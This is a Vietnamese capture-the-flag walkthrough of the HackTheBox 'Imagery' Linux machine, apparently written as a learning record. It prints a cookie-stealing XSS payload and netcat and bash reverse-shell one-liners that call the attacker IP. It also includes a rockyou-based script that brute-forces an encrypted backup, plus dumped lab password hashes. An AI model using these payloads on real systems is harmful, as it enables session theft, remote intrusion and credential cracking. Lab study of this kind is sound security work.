# HTB-Imagery-Medium-Linux

## Nmap

Truy cập trang web với port 8000 ta thấy được giao diện web

Ta thấy được chức năng upload, nhìn có vẻ giống như có chứa lỗ hổng

Nhưng có vẻ là không, sau khi tìm một hồi thấy được bên dưới có phần Report Bug


Chúng ta hãy thử nghiệm nó với payload sau

```javascript
<img src=x onerror="document.location='http://10.10.14.6/?cookie='+document.cookie">
```
Khởi tạo một tiến trình lắng nghe trên máy tấn công, để có thể lấy được cookie của admin thông qua lỗ hổng XSS ở phần input

Thay đổi cookie vào trình duyệt ta sẽ truy cập vào được tài khoản của admin


Dùng burpsuite để test thì phát hiện trang web có tồn tại lỗ hổng LFI
Thực hiện truy cập file env của user hiện tại

Thông tin nhận được ta có thể thấy ứng dụng được viết bằng framework Python Flask, vậy ta có thể tìm file cấu hình của nó


Thử với file khác db.json

Ta có thể thấy được mật khẩu, mã hóa này khá yếu nên có thể crack được mật khẩu: **iambatman**

Thật ra tao thấy từ nãy đến giờ chả để làm gì cả, vì từ ban đầu tao đã đoán là có lỗ hổng ở chỗ upload rồi

Thử với chức năng crop sau đó Apply Transformation

Dùng burp để test các trường hợp thì phát hiện lỗi command injection ở biến `x`

Khi truyền vào một kí tự đặc biệt cùng với câu lệnh thì server đã xử lý
Thực hiện bypasss các filter

Từ đây ta sẽ khởi tạo một reveres shell

Payload: `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.6 4446 >/tmp/f`
Sau một hồi tìm kiếm thì không thấy có file nào khả thi, cuối cùng cũng có một file

Thực hiện lưu về máy


Thực hiện bruteforce password với file python sau:
```python
import pyAesCrypt
import sys
def decrypt(encrypted_file, password):
try:
pyAesCrypt.decryptFile(
encrypted_file,
"web_20250806_120723.zip",
password,
256 * 1024
)
return True
except:
return False
# Đọc wordlist
with open('/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt', 'r', encoding='latin-1') as f:
for line in f:
password = line.strip()
print(f"Trying: {password}", end='\r')
if decrypt('web_20250806_120723.zip.aes', password):
print(f"\n[+] Password found: {password}")
sys.exit(0)
print("\n[-] Password not found")
```
Thực hiện giải mã:

```
┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads]
└──╼ [★]$ pyAesCrypt -d web_20250806_120723.zip.aes -o web_20250806_120723.zip -p bestfriends
Warning: passing passwords as plaintext command-line arguments may be unsafe.
┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads]
└──╼ [★]$ ls
giai_ma.py web web_20250806_120723.zip web_20250806_120723.zip.aes
┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads]
└──╼ [★]$ cd web
┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads/web]
└──╼ [★]$ ll
total 92K
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 9.6K Aug 5 08:56 api_admin.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 6.3K Aug 5 08:56 api_auth.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 12K Aug 5 08:57 api_edit.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 8.9K Aug 5 08:57 api_manage.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 840 Aug 5 08:58 api_misc.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 12K Aug 5 08:58 api_upload.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.9K Aug 5 15:21 app.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.8K Aug 5 08:59 config.py
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 1.5K Aug 6 12:07 db.json
drwxr-xr-x 5 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 env
drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 __pycache__
drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 system_logs
drwxr-xr-x 2 htb-mp-2134399 htb-mp-2134399 4.0K Dec 10 02:50 templates
-rw-rw-r-- 1 htb-mp-2134399 htb-mp-2134399 4.0K Aug 5 09:00 utils.py
```
```
┌─[au-dedivip-1]─[10.10.14.6]─[htb-mp-2134399@htb-4ui1qhgqmb]─[~/Downloads/web]
└──╼ [★]$ cat db.json
{
"users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"displayId": "f8p10uw0",
"isTestuser": false,
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"displayId": "8utz23o5",
"isTestuser": true,
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
},
{
"username": "web@imagery.htb",
"password": "84e3c804cf1fa14306f26f9f3da177e0",
"displayId": "7be291d4",
"isAdmin": true,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}
],
"images": [],
"bug_reports": [],
"image_collections": [
{
"name": "My Images"
},
{
"name": "Unsorted"
},
{
"name": "Converted"
},
{
"name": "Transformed"
}
]
}
```
`python3 -c 'import pty;pty.spawn("/bin/bash")'`

su `mark` và lấy được `user flag`
## Root

Thấy một công cụ, sau khi tìm cách dùng thì thấy có thể tương tác quá shell và tiêm lệnh độc hại
Sử dụng câu lệnh để reset password
`sudo /usr/local/bin/charcol --reset-password-to-default`
Từ đó có thể truy cập vào Charcol

Sau khi đọc và phân tích phần hướng dẫn của công cụ này, tôi để ý thấy phần `Automated Jobs (Cron)` cho phép chạy `--command` để đặt lịch thực hiện câu lệnh backup. Vậy thì thay bằng câu lệnh backup, tôi có thể thêm revershell vào đây.
Câu lệnh như bên dưới, với `--schedule` để đặt thời gian chạy lệnh, `--command` là câu lệnh thực thi và` --name` để đặt tên cho job này, cuối cùng thêm IP của máy kali và port tùy chọn.
`auto add --schedule "* * * * *" --command "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.6/7777 0>&1'" --name "RevShell"`



**Flag Root:** `200c53018bee06a1cc8105bXXXXXXXXXX`
